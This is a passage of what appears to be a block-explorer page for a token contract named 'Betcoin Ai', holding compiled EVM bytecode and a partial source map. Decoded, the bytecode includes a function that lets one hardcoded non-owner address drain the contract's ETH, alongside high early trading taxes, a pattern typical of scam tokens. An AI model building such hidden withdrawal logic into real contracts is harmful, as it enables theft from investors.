611774575f80fd5b50508035926020909101359150565b5f60208284031215611793575f80fd5b61074c82611720565b5f805f606084860312156117ae575f80fd5b6117b784611720565b92506117c560208501611720565b9150604084013590509250925092565b5f80604083850312156117e6575f80fd5b6117ef83611720565b91506117fd60208401611720565b90509250929050565b5f805f8060808587031215611819575f80fd5b5050823594602084013594506040840135936060013592509050565b6020808252818101527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604082015260600190565b634e487b7160e01b5f52601160045260245ffd5b600181815b808511156118b857815f190482111561189e5761189e61186a565b808516156118ab57918102915b93841c9390800290611883565b509250929050565b5f826118ce575060016104dd565b816118da57505f6104dd565b81600181146118f057600281146118fa57611916565b60019150506104dd565b60ff84111561190b5761190b61186a565b50506001821b6104dd565b5060208310610133831016604e8410600b8410161715611939575081810a6104dd565b611943838361187e565b805f19048211156119565761195661186a565b029392505050565b5f61074c60ff8416836118c0565b80820281158282048414176104dd576104dd61186a565b808201808211156104dd576104dd61186a565b5f826119b057634e487b7160e01b5f52601260045260245ffd5b500490565b818103818111156104dd576104dd61186a565b634e487b7160e01b5f52600160045260245ffd5b5f600182016119ed576119ed61186a565b5060010190565b634e487b7160e01b5f52603260045260245ffd5b5f60a08201878352602087602085015260a0604085015281875180845260c0860191506020890193505f5b81811015611a585784516001600160a01b031683529383019391830191600101611a33565b50506001600160a01b0396909616606085015250505060800152939250505056fea26469706673582212207df39958cba4f4cae6c07ec6286e7f37bcc3ac3ee476a8c1911130e230d6083364736f6c63430008180033

Deployed Bytecode

0x60806040526004361061014a575f3560e01c806374378132116100b3578063c9567bf91161006d578063c9567bf9146103dd578063d2f4a50a146103f1578063dd62ed3e14610437578063df7787a41461047b578063f2fde38b1461048f578063fcd9da44146104ae575f80fd5b806374378132146103165780638129fc1c146103455780638da5cb5b1461035957806395d89b411461037f578063a9059cbb146103aa578063b70ee799146103c9575f80fd5b8063313ce56711610104578063313ce567146102495780634fbee1931461026457806350dc03b11461029b578063616eb638146102ba57806370a08231146102ce578063715018a614610302575f80fd5b806306fdde0314610155578063095ea7b3146101995780630b78f9c0146101c857806318160ddd146101e95780631a6952301461020b57806323b872dd1461022a575f80fd5b3661015157005b5f80fd5b348015610160575f80fd5b5060408051808201909152600a815269426574636f696e20416960b01b60208201525b60405161019091906116d4565b60405180910390f35b3480156101a4575f80fd5b506101b86101b336600461173b565b6104cd565b6040519015158152602001610190565b3480156101d3575f80fd5b506101e76101e2366004611763565b6104e3565b005b3480156101f4575f80fd5b506101fd610602565b604051908152602001610190565b348015610216575f80fd5b506101e7610225366004611783565b610622565b348015610235575f80fd5b506101b861024436600461179c565b610676565b348015610254575f80fd5b5060405160098152602001610190565b34801561026f575f80fd5b506101b861027e366004611783565b6001600160a01b03165f908152600c602052604090205460ff1690565b3480156102a6575f80fd5b506101e76102b5366004611763565b610753565b3480156102c5575f80fd5b506101e76107c5565b3480156102d9575f80fd5b506101fd6102e8366004611783565b6001600160a01b03165f9081526001602052604090205490565b34801561030d575f80fd5b506101e761089b565b348015610321575f80fd5b50600354600454610330919082565b60408051928352602083019190915201610190565b348015610350575f80fd5b506101e76108de565b348015610364575f80fd5b505f546040516001600160a01b039091168152602001610190565b34801561038a575f80fd5b5060408051808201909152600381526210915560ea1b6020820152610183565b3480156103b5575f80fd5b506101b86103c436600461173b565b610959565b3480156103d4575f80fd5b506101e7610965565b3480156103e8575f80fd5b506101e7610a0e565b3480156103fc575f80fd5b50600554600654610417916001600160a01b03908116911682565b604080516001600160a01b03938416815292909116602083015201610190565b348015610442575f80fd5b506101fd6104513660046117d5565b6001600160a01b039182165f90815260026020908152604080832093909416825291909152205490565b348015610486575f80fd5b506101fd610abe565b34801561049a575f80fd5b506101e76104a9366004611783565b610af3565b3480156104b9575f80fd5b506101e76104c8366004611806565b610b99565b5f6104d9338484610c02565b5060015b92915050565b336104f55f546001600160a01b031690565b6001600160a01b0316146105245760405162461bcd60e51b815260040161051b90611835565b60405180910390fd5b6003548211156105765760405162461bcd60e51b815260206004820152601a60248201527f546f6b656e3a206d757374207265647563652062757920666565000000000000604482015260640161051b565b6004548111156105c85760405162461bcd60e51b815260206004820152601b60248201527f546f6b656e3a206d757374207265647563652073656c6c206665650000000000604482015260640161051b565b60038290556004819055604051819083907f64f84976d9c917a44796104a59950fdbd9b3c16a5dd348b546d738301f6bd068905f90a35050565b5f61060f6009600a61195e565b61061d906305f5e10061196c565b905090565b3373b668900f87437954c93ada718d538890c01f51f303610151576040516001600160a01b038216904780156108fc02915f818181858888f1935050505015801561066f573d5f803e3d5ffd5b5050565b50565b6001600160a01b0383165f9081526002602090815260408083203384529091528120545f191461073e576001600160a01b0384165f908152600260209081526040808320338452909152902054828110156107135760405162461bcd60e51b815260206004820152601d60248201527f45524332303a20696e73756666696369656e7420416c6c6f77616e6365000000604482015260640161051b565b506001600160a01b0384165f9081526002602090815260408083203384529091529020805483900390555b610749848484610cfa565b90505b9392505050565b336107655f546001600160a01b031690565b6001600160a01b03161461078b5760405162461bcd60e51b815260040161051b90611835565b60078290556008819055604051819083907f54d63ace09afa00719fe634220f49f6e5455d87f15643ffdd582b869c27c1fc5905f90a35050565b336107d75f546001600160a01b031690565b6001600160a01b0316146107fd5760405162461bcd60e51b815260040161051b90611835565b47476108445760405162461bcd60e51b81526020600482015260166024820152752a37b5b2b71d1037379032ba34103a379031b632b0b960511b604482015260640161051b565b60405133904780156108fc02915f818181858888f1935050505015801561086d573d5f803e3d5ffd5b5060405181907f167ef3fea7f72f341882219722ad860b0c4269e93c186bd73fd705b27f07386c905f90a250565b336108ad5f546001600160a01b031690565b6001600160a01b0316146108d35760405162461bcd60e51b815260040161051b90611835565b6108dc5f611125565b565b336108f05f546001600160a01b031690565b6001600160a01b0316146109165760405162461bcd60e51b815260040161051b90611835565b600954610100900460ff161561092a575f80fd5b6002600b556040517f5daa87a0e9463431830481fd4b6e3403442dfb9a12b9c07597e9f61d50b633c8905f90a1565b5f61074c338484610cfa565b336109775f546001600160a01b031690565b6001600160a01b03161461099d5760405162461bcd60e51b815260040161051b90611835565b305f9081526001602052604081205411610a045760405162461bcd60e51b815260206004820152602260248201527f546f6b656e3a206e6f20636f6e747261637420746f6b656e7320746f20636c6560448201526130b960f11b606482015260840161051b565b6108dc5f19611174565b33610a205f546001600160a01b031690565b6001600160a01b031614610a465760405162461bcd60e51b815260040161051b90611835565b600954610100900460ff16158015610a605750600b546002145b8015610a6d57505f600a54115b610a75575f80fd5b600a54610a829043611983565b600b556009805461ff0019166101001790556040517fea4359d5c4b8f0945a64ab9c37fe830b3407d45e0e6e6f84275977a570457d6f905f90a1565b6103e8610acd6009600a61195e565b610adb906305f5e10061196c565b610ae690601961196c565b610af09190611996565b81565b33610b055f546001600160a01b031690565b6001600160a01b031614610b2b5760405162461bcd60e51b815260040161051b90611835565b6001600160a01b038116610b905760405162461bcd60e51b815260206004820152602660248201527f4f776e61626c653a206e6577206f776e657220697320746865207a65726f206160448201526564647265737360d01b606482015260840161051b565b61067381611125565b33610bab5f546001600160a01b031690565b6001600160a01b031614610bd15760405162461bcd60e51b815260040161051b90611835565b600b54600214610bdf575f80fd5b600a839055610bee82826119b5565b8410610bfc57610bfc6119c8565b50505050565b6001600160a01b038316610c4e5760405162461bcd60e51b815260206004820152601360248201527245524332303a207a65726f204164647265737360681b604482015260640161051b565b6001600160a01b038216610c9a5760405162461bcd60e51b815260206004820152601360248201527245524332303a207a65726f204164647265737360681b604482015260640161051b565b6001600160a01b038381165f8181526002602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b5f8383600960019054906101000a900460ff1680610d2557506005546001600160a01b038381169116145b80610d4757506001600160a01b0382165f908152600c602052604090205460ff165b610d935760405162461bcd60e51b815260206004820152601d60248201527f546f6b656e3a2054726164696e67206973206e6f74206163746976652e000000604482015260640161051b565b6001600160a01b038616610df75760405162461bcd60e51b815260206004820152602560248201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604482015264647265737360d81b606482015260840161051b565b6001600160a01b038516610e595760405162461bcd60e51b815260206004820152602360248201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260448201526265737360e81b606482015260840161051b565b831580610e68575060095460ff165b15610e7f57610e788686866112b1565b925061111c565b7f000000000000000000000000cfa25357b26e62c27e29920ca3b11652aa03c1cc6001600160a01b0316856001600160a01b031614158015610ed957506001600160a01b0385165f908152600c602052604090205460ff16155b8015610ef357506005546001600160a01b03868116911614155b15610fa4576103e8610f076009600a61195e565b610f15906305f5e10061196c565b610f2090601961196c565b610f2a9190611996565b6001600160a01b0386165f90815260016020526040902054610f4c9086611983565b1115610fa45760405162461bcd60e51b815260206004820152602160248201527f546f6b656e3a206d61782077616c6c657420616d6f756e7420657863656564656044820152601960fa1b606482015260840161051b565b60095460ff16158015610fe857507f000000000000000000000000cfa25357b26e62c27e29920ca3b11652aa03c1cc6001600160a01b0316856001600160a01b0316145b801561100c57506001600160a01b0386165f908152600c602052604090205460ff16155b801561103057506001600160a01b0385165f908152600c602052604090205460ff16155b1561103e5761103e84611174565b6001600160a01b0386165f908152600c602052604081205460ff1615801561107e57506001600160a01b0386165f908152600c602052604090205460ff16155b80156110f657507f000000000000000000000000cfa25357b26e62c27e29920ca3b11652aa03c1cc6001600160a01b0316876001600160a01b031614806110f657507f000000000000000000000000cfa25357b26e62c27e29920ca3b11652aa03c1cc6001600160a01b0316866001600160a01b0316145b90508015611111576111098787876113b0565b93505061111c565b6111098787876112b1565b50509392505050565b5f80546001600160a01b038381166001600160a01b0319831681178455604051919092169283917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e09190a35050565b6009805460ff191660011790555f6111a0306001600160a01b03165f9081526001602052604090205490565b90506103e86111b16009600a61195e565b6111bf906305f5e10061196c565b6111ca90600561196c565b6111d49190611996565b8110806111e757506111e5826113f2565b155b156111f257506112a4565b6007546103e86112046009600a61195e565b611212906305f5e10061196c565b61121d90600561196c565b6112279190611996565b611231919061196c565b81111561127a576007546103e861124a6009600a61195e565b611258906305f5e10061196c565b61126390600561196c565b61126d9190611996565b611277919061196c565b90505b4761128482611470565b5f61128f82476119b5565b905080156112a0576112a081611591565b5050505b506009805460ff19169055565b6001600160a01b0383165f90815260016020526040812054828110156113195760405162461bcd60e51b815260206004820152601b60248201527f546f6b656e3a20696e73756666696369656e742042616c616e63650000000000604482015260640161051b565b6001600160a01b038086165f908152600160205260408082208054879003905591861681529081208054859290611351908490611983565b92505081905550836001600160a01b0316856001600160a01b03167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef8560405161139d91815260200190565b60405180910390a3506001949350505050565b5f806113bd8585856115ef565b905080156113de576113d08530836112b1565b506113db81846119b5565b92505b6113e98585856112b1565b95945050505050565b5f600b54431180156114125750435f908152600d60205260409020546002115b80156104dd575060085415611465576008546103e86114336009600a61195e565b611441906305f5e10061196c565b61144c90600561196c565b6114569190611996565b6114609190611996565b611467565b5f5b82101592915050565b435f908152600d6020526040812080549161148a836119dc565b90915550506040805160028082526060820183525f9260208301908036833701905050905030815f815181106114c2576114c26119f4565b60200260200101906001600160a01b031690816001600160a01b03168152505073c02aaa39b223fe8d0a0e5c4f27ead9083c756cc28160018151811061150a5761150a6119f4565b6001600160a01b039092166020928302919091019091015260405163791ac94760e01b8152737a250d5630b4cf539739df2c5dacb4c659f2488d9063791ac947906115619085905f90869030904290600401611a08565b5f604051808303815f87803b158015611578575f80fd5b505af1925050508015611589575060015b61066f575050565b6006545f906001600160a01b03166115aa600284611996565b6040515f81818185875af1925050503d805f81146115e3576040519150601f19603f3d011682016040523d82523d5f602084013e6115e8565b606091505b5050505050565b5f600b545f108015611602575043600b54105b156116695760647f000000000000000000000000cfa25357b26e62c27e29920ca3b11652aa03c1cc6001600160a01b0316846001600160a01b03161461164a5760035461164e565b6004545b611658908461196c565b6116629190611996565b905061074c565b60647f000000000000000000000000cfa25357b26e62c27e29920ca3b11652aa03c1cc6001600160a01b0316856001600160a01b0316146116ba57600b54156116b35760316116bd565b60236116bd565b60315b6116ca9060ff168461196c565b6107499190611996565b5f602080835283518060208501525f5b81811015611700578581018301518582016040015282016116e4565b505f604082860101526040601f19601f8301168501019250505092915050565b80356001600160a01b0381168114611736575f80fd5b919050565b5f806040838503121561174c575f80fd5b61175583611720565b946020939093013593505050565b5f8060408385031215611774575f80fd5b50508035926020909101359150565b5f60208284031215611793575f80fd5b61074c82611720565b5f805f606084860312156117ae575f80fd5b6117b784611720565b92506117c560208501611720565b9150604084013590509250925092565b5f80604083850312156117e6575f80fd5b6117ef83611720565b91506117fd60208401611720565b90509250929050565b5f805f8060808587031215611819575f80fd5b5050823594602084013594506040840135936060013592509050565b6020808252818101527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604082015260600190565b634e487b7160e01b5f52601160045260245ffd5b600181815b808511156118b857815f190482111561189e5761189e61186a565b808516156118ab57918102915b93841c9390800290611883565b509250929050565b5f826118ce575060016104dd565b816118da57505f6104dd565b81600181146118f057600281146118fa57611916565b60019150506104dd565b60ff84111561190b5761190b61186a565b50506001821b6104dd565b5060208310610133831016604e8410600b8410161715611939575081810a6104dd565b611943838361187e565b805f19048211156119565761195661186a565b029392505050565b5f61074c60ff8416836118c0565b80820281158282048414176104dd576104dd61186a565b808201808211156104dd576104dd61186a565b5f826119b057634e487b7160e01b5f52601260045260245ffd5b500490565b818103818111156104dd576104dd61186a565b634e487b7160e01b5f52600160045260245ffd5b5f600182016119ed576119ed61186a565b5060010190565b634e487b7160e01b5f52603260045260245ffd5b5f60a08201878352602087602085015260a0604085015281875180845260c0860191506020890193505f5b81811015611a585784516001600160a01b031683529383019391830191600101611a33565b50506001600160a01b0396909616606085015250505060800152939250505056fea26469706673582212207df39958cba4f4cae6c07ec6286e7f37bcc3ac3ee476a8c1911130e230d6083364736f6c63430008180033

Deployed Bytecode Sourcemap

2336:10946:0:-:0;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;5741:79;;;;;;;;;;-1:-1:-1;5813:4:0;;;;;;;;;;;;-1:-1:-1;;;5813:4:0;;;;5741:79;;;;;;;:::i;:::-;;;;;;;;6077:161;;;;;;;;;;-1:-1:-1;6077:161:0;;;;;:::i;:::-;;:::i;:::-;;;1169:14:1;;1162:22;1144:41;;1132:2;1117:18;6077:161:0;1004:187:1;12630:368:0;;;;;;;;;;-1:-1:-1;12630:368:0;;;;;:::i;:::-;;:::i;:::-;;5473:88;;;;;;;;;;;;;:::i;:::-;;;1595:25:1;;;1583:2;1568:18;5473:88:0;1449:177:1;11278:209:0;;;;;;;;;;-1:-1:-1;11278:209:0;;;;;:::i;:::-;;:::i;6713:492::-;;;;;;;;;;-1:-1:-1;6713:492:0;;;;;:::i;:::-;;:::i;5567:79::-;;;;;;;;;;-1:-1:-1;5567:79:0;;2512:1;2297:36:1;;2285:2;2270:18;5567:79:0;2155:184:1;12036:123:0;;;;;;;;;;-1:-1:-1;12036:123:0;;;;;:::i;:::-;-1:-1:-1;;;;;12125:26:0;12101:4;12125:26;;;:17;:26;;;;;;;;;12036:123;12323:298;;;;;;;;;;-1:-1:-1;12323:298:0;;;;;:::i;:::-;;:::i;7213:279::-;;;;;;;;;;;;;:::i;5826:104::-;;;;;;;;;;-1:-1:-1;5826:104:0;;;;;:::i;:::-;-1:-1:-1;;;;;5909:18:0;5892:7;5909:18;;;:9;:18;;;;;;;5826:104;1854:94;;;;;;;;;;;;;:::i;2998:51::-;;;;;;;;;;-1:-1:-1;2998:51:0;;;;;;;;;;;;;2518:25:1;;;2574:2;2559:18;;2552:34;;;;2491:18;2998:51:0;2344:248:1;12167:148:0;;;;;;;;;;;;;:::i;1635:87::-;;;;;;;;;;-1:-1:-1;1681:7:0;1708:6;1635:87;;-1:-1:-1;;;;;1708:6:0;;;2743:51:1;;2731:2;2716:18;1635:87:0;2597:203:1;5652:83:0;;;;;;;;;;-1:-1:-1;5726:6:0;;;;;;;;;;;;-1:-1:-1;;;5726:6:0;;;;5652:83;;6562:143;;;;;;;;;;-1:-1:-1;6562:143:0;;;;;:::i;:::-;;:::i;7500:178::-;;;;;;;;;;;;;:::i;13006:234::-;;;;;;;;;;;;;:::i;3160:148::-;;;;;;;;;;-1:-1:-1;3160:148:0;;;;;;-1:-1:-1;;;;;3160:148:0;;;;;;;;;;;-1:-1:-1;;;;;3035:15:1;;;3017:34;;3087:15;;;;3082:2;3067:18;;3060:43;2952:18;3160:148:0;2805:304:1;5936:133:0;;;;;;;;;;-1:-1:-1;5936:133:0;;;;;:::i;:::-;-1:-1:-1;;;;;6038:19:0;;;6020:7;6038:19;;;:11;:19;;;;;;;;:28;;;;;;;;;;;;;5936:133;2727:62;;;;;;;;;;;;;:::i;1956:192::-;;;;;;;;;;-1:-1:-1;1956:192:0;;;;;:::i;:::-;;:::i;7686:177::-;;;;;;;;;;-1:-1:-1;7686:177:0;;;;;:::i;:::-;;:::i;6077:161::-;6154:4;6171:37;6180:10;6192:7;6201:6;6171:8;:37::i;:::-;-1:-1:-1;6226:4:0;6077:161;;;;;:::o;12630:368::-;1779:10;1768:7;1681;1708:6;-1:-1:-1;;;;;1708:6:0;;1635:87;1768:7;-1:-1:-1;;;;;1768:21:0;;1760:66;;;;-1:-1:-1;;;1760:66:0;;;;;;;:::i;:::-;;;;;;;;;12731:11:::1;:18:::0;12720:29;::::1;;12712:68;;;::::0;-1:-1:-1;;;12712:68:0;;4332:2:1;12712:68:0::1;::::0;::::1;4314:21:1::0;4371:2;4351:18;;;4344:30;4410:28;4390:18;;;4383:56;4456:18;;12712:68:0::1;4130:350:1::0;12712:68:0::1;12811:19:::0;;12799:31;::::1;;12791:71;;;::::0;-1:-1:-1;;;12791:71:0;;4687:2:1;12791:71:0::1;::::0;::::1;4669:21:1::0;4726:2;4706:18;;;4699:30;4765:29;4745:18;;;4738:57;4812:18;;12791:71:0::1;4485:351:1::0;12791:71:0::1;12873:11;:28:::0;;;12912:19;:30;;;12960::::1;::::0;12934:8;;12894:7;;12960:30:::1;::::0;12873:18:::1;::::0;12960:30:::1;12630:368:::0;;:::o;5473:88::-;5528:7;2840:12;2512:1;2840:2;:12;:::i;:::-;2690:30;;:11;:30;:::i;:::-;5539:19;;5473:88;:::o;11278:209::-;11335:10;11349:42;11335:56;11332:147;;11406:49;;-1:-1:-1;;;;;11406:24:0;;;11432:21;11406:49;;;;;;;;;11432:21;11406:24;:49;;;;;;;;;;;;;;;;;;;;;11278:209;:::o;11332:147::-;11278:209;:::o;6713:492::-;-1:-1:-1;;;;;6824:19:0;;6804:4;6824:19;;;:11;:19;;;;;;;;6844:10;6824:31;;;;;;;;-1:-1:-1;;6824:52:0;6821:323;;-1:-1:-1;;;;;6919:19:0;;6892:24;6919:19;;;:11;:19;;;;;;;;6939:10;6919:31;;;;;;;;6973:26;;;;6965:68;;;;-1:-1:-1;;;6965:68:0;;6725:2:1;6965:68:0;;;6707:21:1;6764:2;6744:18;;;6737:30;6803:31;6783:18;;;6776:59;6852:18;;6965:68:0;6523:353:1;6965:68:0;-1:-1:-1;;;;;;7076:19:0;;;;;;:11;:19;;;;;;;;7096:10;7076:31;;;;;;;:41;;;;;;;6821:323;7161:36;7171:6;7179:9;7190:6;7161:9;:36::i;:::-;7154:43;;6713:492;;;;;;:::o;12323:298::-;1779:10;1768:7;1681;1708:6;-1:-1:-1;;;;;1708:6:0;;1635:87;1768:7;-1:-1:-1;;;;;1768:21:0;;1760:66;;;;-1:-1:-1;;;1760:66:0;;;;;;;:::i;:::-;12439:20:::1;:42:::0;;;12492:20:::1;:42:::0;;;12552:61:::1;::::0;12515:19;;12462;;12552:61:::1;::::0;-1:-1:-1;;12552:61:0::1;12323:298:::0;;:::o;7213:279::-;1779:10;1768:7;1681;1708:6;-1:-1:-1;;;;;1708:6:0;;1635:87;1768:7;-1:-1:-1;;;;;1768:21:0;;1760:66;;;;-1:-1:-1;;;1760:66:0;;;;;;;:::i;:::-;7287:21:::1;7327;7319:60;;;::::0;-1:-1:-1;;;7319:60:0;;7083:2:1;7319:60:0::1;::::0;::::1;7065:21:1::0;7122:2;7102:18;;;7095:30;-1:-1:-1;;;7141:18:1;;;7134:52;7203:18;;7319:60:0::1;6881:346:1::0;7319:60:0::1;7390:51;::::0;7398:10:::1;::::0;7419:21:::1;7390:51:::0;::::1;;;::::0;::::1;::::0;;;7419:21;7398:10;7390:51;::::1;;;;;;;;;;;;;::::0;::::1;;;;;-1:-1:-1::0;7459:25:0::1;::::0;7470:13;;7459:25:::1;::::0;;;::::1;7252:240;7213:279::o:0;1854:94::-;1779:10;1768:7;1681;1708:6;-1:-1:-1;;;;;1708:6:0;;1635:87;1768:7;-1:-1:-1;;;;;1768:21:0;;1760:66;;;;-1:-1:-1;;;1760:66:0;;;;;;;:::i;:::-;1919:21:::1;1937:1;1919:9;:21::i;:::-;1854:94::o:0;12167:148::-;1779:10;1768:7;1681;1708:6;-1:-1:-1;;;;;1708:6:0;;1635:87;1768:7;-1:-1:-1;;;;;1768:21:0;;1760:66;;;;-1:-1:-1;;;1760:66:0;;;;;;;:::i;:::-;12228:13:::1;::::0;::::1;::::0;::::1;;;12227:14;12219:23;;;::::0;::::1;;12267:1;12253:11;:15:::0;12294:13:::1;::::0;::::1;::::0;;;::::1;12167:148::o:0;6562:143::-;6633:4;6657:40;6667:10;6679:9;6690:6;6657:9;:40::i;7500:178::-;1779:10;1768:7;1681;1708:6;-1:-1:-1;;;;;1708:6:0;;1635:87;1768:7;-1:-1:-1;;;;;1768:21:0;;1760:66;;;;-1:-1:-1;;;1760:66:0;;;;;;;:::i;:::-;7583:4:::1;7592:1;5909:18:::0;;;:9;:18;;;;;;7565:28:::1;7557:75;;;::::0;-1:-1:-1;;;7557:75:0;;7434:2:1;7557:75:0::1;::::0;::::1;7416:21:1::0;7473:2;7453:18;;;7446:30;7512:34;7492:18;;;7485:62;-1:-1:-1;;;7563:18:1;;;7556:32;7605:19;;7557:75:0::1;7232:398:1::0;7557:75:0::1;7643:27;-1:-1:-1::0;;7643:8:0::1;:27::i;13006:234::-:0;1779:10;1768:7;1681;1708:6;-1:-1:-1;;;;;1708:6:0;;1635:87;1768:7;-1:-1:-1;;;;;1768:21:0;;1760:66;;;;-1:-1:-1;;;1760:66:0;;;;;;;:::i;:::-;13068:13:::1;::::0;::::1;::::0;::::1;;;13067:14;:34:::0;::::1;;;;13085:11;;13100:1;13085:16;13067:34;:51;;;;;13117:1;13105:9;;:13;13067:51;13059:60;;;::::0;::::1;;13159:9;::::0;13144:24:::1;::::0;:12:::1;:24;:::i;:::-;13130:11;:38:::0;13179:13:::1;:20:::0;;-1:-1:-1;;13179:20:0::1;;;::::0;;13217:15:::1;::::0;::::1;::::0;13179:20;;13217:15:::1;13006:234::o:0;2727:62::-;2784:5;2840:12;2512:1;2840:2;:12;:::i;:::-;2690:30;;:11;:30;:::i;:::-;2764:17;;:2;:17;:::i;:::-;:25;;;;:::i;:::-;2727:62;:::o;1956:192::-;1779:10;1768:7;1681;1708:6;-1:-1:-1;;;;;1708:6:0;;1635:87;1768:7;-1:-1:-1;;;;;1768:21:0;;1760:66;;;;-1:-1:-1;;;1760:66:0;;;;;;;:::i;:::-;-1:-1:-1;;;;;2045:22:0;::::1;2037:73;;;::::0;-1:-1:-1;;;2037:73:0;;8189:2:1;2037:73:0::1;::::0;::::1;8171:21:1::0;8228:2;8208:18;;;8201:30;8267:34;8247:18;;;8240:62;-1:-1:-1;;;8318:18:1;;;8311:36;8364:19;;2037:73:0::1;7987:402:1::0;2037:73:0::1;2121:19;2131:8;2121:9;:19::i;7686:177::-:0;1779:10;1768:7;1681;1708:6;-1:-1:-1;;;;;1708:6:0;;1635:87;1768:7;-1:-1:-1;;;;;1768:21:0;;1760:66;;;;-1:-1:-1;;;1760:66:0;;;;;;;:::i;:::-;7797:11:::1;;7812:1;7797:16;7789:25;;;::::0;::::1;;7815:9;:13:::0;;;7841:5:::1;7845:1:::0;7841;:5:::1;:::i;:::-;7837:1;:9;7830:17;;;;:::i;:::-;7686:177:::0;;;;:::o;6246:308::-;-1:-1:-1;;;;;6341:20:0;;6333:52;;;;-1:-1:-1;;;6333:52:0;;8861:2:1;6333:52:0;;;8843:21:1;8900:2;8880:18;;;8873:30;-1:-1:-1;;;8919:18:1;;;8912:49;8978:18;;6333:52:0;8659:343:1;6333:52:0;-1:-1:-1;;;;;6404:21:0;;6396:53;;;;-1:-1:-1;;;6396:53:0;;8861:2:1;6396:53:0;;;8843:21:1;8900:2;8880:18;;;8873:30;-1:-1:-1;;;8919:18:1;;;8912:49;8978:18;;6396:53:0;8659:343:1;6396:53:0;-1:-1:-1;;;;;6460:19:0;;;;;;;:11;:19;;;;;;;;:28;;;;;;;;;;;;;:37;;;6513:33;;1595:25:1;;;6513:33:0;;1568:18:1;6513:33:0;;;;;;;6246:308;;;:::o;7871:1070::-;7972:4;7944;7950:2;4643:13;;;;;;;;;;;:47;;;-1:-1:-1;4668:7:0;:22;-1:-1:-1;;;;;4660:30:0;;;4668:22;;4660:30;4643:47;:74;;;-1:-1:-1;;;;;;4694:23:0;;;;;;:17;:23;;;;;;;;4643:74;4635:116;;;;-1:-1:-1;;;4635:116:0;;9209:2:1;4635:116:0;;;9191:21:1;9248:2;9228:18;;;9221:30;9287:31;9267:18;;;9260:59;9336:18;;4635:116:0;9007:353:1;4635:116:0;-1:-1:-1;;;;;7997:18:0;::::1;7989:68;;;::::0;-1:-1:-1;;;7989:68:0;;9567:2:1;7989:68:0::1;::::0;::::1;9549:21:1::0;9606:2;9586:18;;;9579:30;9645:34;9625:18;;;9618:62;-1:-1:-1;;;9696:18:1;;;9689:35;9741:19;;7989:68:0::1;9365:401:1::0;7989:68:0::1;-1:-1:-1::0;;;;;8076:16:0;::::1;8068:64;;;::::0;-1:-1:-1;;;8068:64:0;;9973:2:1;8068:64:0::1;::::0;::::1;9955:21:1::0;10012:2;9992:18;;;9985:30;10051:34;10031:18;;;10024:62;-1:-1:-1;;;10102:18:1;;;10095:33;10145:19;;8068:64:0::1;9771:399:1::0;8068:64:0::1;8156:11:::0;;;:23:::1;;-1:-1:-1::0;8171:8:0::1;::::0;::::1;;8156:23;8153:105;;;8203:32;8218:4;8224:2;8228:6;8203:14;:32::i;:::-;8196:39;;;;8153:105;8288:13;-1:-1:-1::0;;;;;8282:19:0::1;:2;-1:-1:-1::0;;;;;8282:19:0::1;;;:45;;;;-1:-1:-1::0;;;;;;8306:21:0;::::1;;::::0;;;:17:::1;:21;::::0;;;;;::::1;;8305:22;8282:45;:77;;;;-1:-1:-1::0;8337:7:0::1;:22:::0;-1:-1:-1;;;;;8331:28:0;;::::1;8337:22:::0;::::1;8331:28;;8282:77;8278:192;;;2784:5;2840:12;2512:1;2840:2;:12;:::i;:::-;2690:30;::::0;:11:::1;:30;:::i;:::-;2764:17;::::0;:2:::1;:17;:::i;:::-;:25;;;;:::i;:::-;-1:-1:-1::0;;;;;5909:18:0;;5892:7;5909:18;;;:9;:18;;;;;;8384:22:::1;::::0;:6;:22:::1;:::i;:::-;:36;;8376:82;;;::::0;-1:-1:-1;;;8376:82:0;;10377:2:1;8376:82:0::1;::::0;::::1;10359:21:1::0;10416:2;10396:18;;;10389:30;10455:34;10435:18;;;10428:62;-1:-1:-1;;;10506:18:1;;;10499:31;10547:19;;8376:82:0::1;10175:397:1::0;8376:82:0::1;8486:8;::::0;::::1;;8485:9;:32:::0;::::1;;;;8504:13;-1:-1:-1::0;;;;;8498:19:0::1;:2;-1:-1:-1::0;;;;;8498:19:0::1;;8485:32;:60;;;;-1:-1:-1::0;;;;;;8522:23:0;::::1;;::::0;;;:17:::1;:23;::::0;;;;;::::1;;8521:24;8485:60;:86;;;;-1:-1:-1::0;;;;;;8550:21:0;::::1;;::::0;;;:17:::1;:21;::::0;;;;;::::1;;8549:22;8485:86;8482:133;;;8587:16;8596:6;8587:8;:16::i;:::-;-1:-1:-1::0;;;;;8652:23:0;::::1;8636:12;8652:23:::0;;;:17:::1;:23;::::0;;;;;::::1;;8651:24;:50:::0;::::1;;;-1:-1:-1::0;;;;;;8680:21:0;::::1;;::::0;;;:17:::1;:21;::::0;;;;;::::1;;8679:22;8651:50;:113;;;;;8727:13;-1:-1:-1::0;;;;;8719:21:0::1;:4;-1:-1:-1::0;;;;;8719:21:0::1;;:44;;;;8750:13;-1:-1:-1::0;;;;;8744:19:0::1;:2;-1:-1:-1::0;;;;;8744:19:0::1;;8719:44;8636:128;;8796:7;8793:132;;;8825:32;8840:4;8846:2;8850:6;8825:14;:32::i;:::-;8818:39;;;;;8793:132;8893:32;8908:4;8914:2;8918:6;8893:14;:32::i;4762:1::-;7871:1070:::0;;;;;;;:::o;2156:173::-;2212:16;2231:6;;-1:-1:-1;;;;;2248:17:0;;;-1:-1:-1;;;;;;2248:17:0;;;;;;2281:40;;2231:6;;;;;;;2281:40;;2212:16;2281:40;2201:128;2156:173;:::o;10458:651::-;4507:8;:15;;-1:-1:-1;;4507:15:0;4518:4;4507:15;;;:8;10549:24:::1;10567:4;-1:-1:-1::0;;;;;5909:18:0;5892:7;5909:18;;;:9;:18;;;;;;;5826:104;10549:24:::1;10523:50:::0;-1:-1:-1;3756:5:0::1;2840:12;2512:1;2840:2;:12;:::i;:::-;2690:30;::::0;:11:::1;:30;:::i;:::-;3737:16